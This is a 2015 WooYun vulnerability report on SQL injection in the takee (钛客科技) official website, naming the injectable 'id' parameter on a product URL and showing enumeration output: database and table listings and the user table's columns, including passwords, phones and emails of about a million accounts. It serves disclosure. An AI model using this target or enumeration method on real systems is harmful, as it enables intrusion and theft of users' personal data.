当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0143862

漏洞标题：takee全息手机(钛客科技)官网存漏洞可泄露100多万用户

相关厂商：钛客科技

漏洞作者： AuGe

提交时间：2015-09-28 13:32

修复时间：2015-11-12 13:34

公开时间：2015-11-12 13:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-28： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

#SQL注入漏洞
注入URL:

http://www.takee.com.cn/product/index/?id=45

ID参数可控
Database: new_mall
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| ks_user | 1066711 |----用户信息
用户表Column

Database: new_mall
Table: ks_user
[28 columns]
+--------------+-------------------+
| Column       | Type              |
+--------------+-------------------+
| from         | varchar(20)       |
| activetime   | int(10) unsigned  |
| address_id   | int(11)           |
| answer       | varchar(200)      |
| bind_phone   | varchar(11)       |
| city_id      | int(10) unsigned  |
| con_log_time | int(10)           |
| country      | varchar(10)       |
| dian         | int(11)           |
| email        | varchar(200)      |
| face         | varchar(120)      |
| gender       | enum('m','f','s') |
| id           | int(10) unsigned  |
| is_email     | int(11)           |
| is_safe      | int(11)           |
| logintotal   | int(10)           |
| nickname     | varchar(32)       |
| notice       | varchar(200)      |
| password     | varchar(32)       |
| question     | varchar(200)      |
| role_id      | int(10) unsigned  |
| sessionid    | varchar(32)       |
| socketid     | int(10) unsigned  |
| state        | tinyint(1)        |
| title_id     | int(10) unsigned  |
| ul_id        | int(11)           |
| user_money   | decimal(10,2)     |
| username     | varchar(32)       |
+--------------+-------------------+


不深入了~地址，手机，邮箱，账号，密码 全部泄露

0.jpg

漏洞证明：

Database: new_mall
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| ks_user                               | 1066711 |
| ks_user_extension                     | 1066692 |
| ks_reserve_log                        | 1002210 |
| ks_test                               | 145176  |
| ks_order_goods                        | 9108    |
| ks_order_notify                       | 7074    |
| ks_order_action                       | 5843    |
| ks_pay_log                            | 5422    |
| ks_order                              | 5389    |
| ks_user_address                       | 4220    |
| ks_discount_card                      | 4200    |
| ks_region                             | 3418    |
| ks_region_copy                        | 3403    |
| ks_order_copy                         | 3240    |
| ks_presell_log                        | 2555    |
| ks_reserve_log_bak                    | 1000    |
| ks_session                            | 630     |
| ks_zhaomo                             | 320     |
| ks_attribute                          | 210     |
| ks_txt_change_order                   | 133     |
| ks_change_order                       | 102     |
| ks_change_order_one                   | 72      |
| ks_vote_gallery                       | 42      |
| ks_news                               | 37      |
| ks_goods_gallery                      | 29      |
| ks_city                               | 19      |
| ks_qiyeshop                           | 15      |
| ks_category                           | 14      |
| ks_vote                               | 14      |
| ks_goods                              | 11      |
| ks_singlepage                         | 5       |
| ks_good_peijian                       | 4       |
| ks_goods_pat                          | 4       |
| ks_payment                            | 4       |
| ks_discount                           | 3       |
| ks_role                               | 3       |
| ks_goods_pic                          | 2       |
| ks_note                               | 2       |
| ks_app_user                           | 1       |
| ks_config                             | 1       |
| ks_kill                               | 1       |
| ks_presell                            | 1       |
| ks_reserve                            | 1       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| INNODB_BUFFER_PAGE                    | 3008    |
| COLUMNS                               | 1384    |
| SESSION_VARIABLES                     | 331     |
| GLOBAL_VARIABLES                      | 319     |
| GLOBAL_STATUS                         | 312     |
| SESSION_STATUS                        | 312     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197     |
| COLLATIONS                            | 197     |
| STATISTICS                            | 172     |
| INNODB_BUFFER_PAGE_LRU                | 142     |
| PARTITIONS                            | 132     |
| TABLES                                | 132     |
| KEY_COLUMN_USAGE                      | 103     |
| TABLE_CONSTRAINTS                     | 78      |
| USER_PRIVILEGES                       | 56      |
| CHARACTER_SETS                        | 39      |
| SCHEMA_PRIVILEGES                     | 32      |
| PLUGINS                               | 23      |
| ENGINES                               | 9       |
| INNODB_CMP                            | 5       |
| INNODB_CMP_RESET                      | 5       |
| INNODB_CMPMEM                         | 5       |
| INNODB_CMPMEM_RESET                   | 5       |
| SCHEMATA                              | 5       |
| INNODB_BUFFER_POOL_STATS              | 1       |
| PROCESSLIST                           | 1       |
+---------------------------------------+---------+
Database: performance_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| setup_consumers                       | 8       |
| performance_timers                    | 5       |
| setup_timers                          | 1       |
+---------------------------------------+---------+
Database: mysql
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| help_relation                         | 1047    |
| help_topic                            | 511     |
| help_keyword                          | 467     |
| help_category                         | 40      |
| `user`                                | 2       |
| db                                    | 2       |
| proxies_priv                          | 1       |
+---------------------------------------+---------+

修复方案：

过滤 毕竟是大品牌

版权声明：转载请注明来源 AuGe@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

评论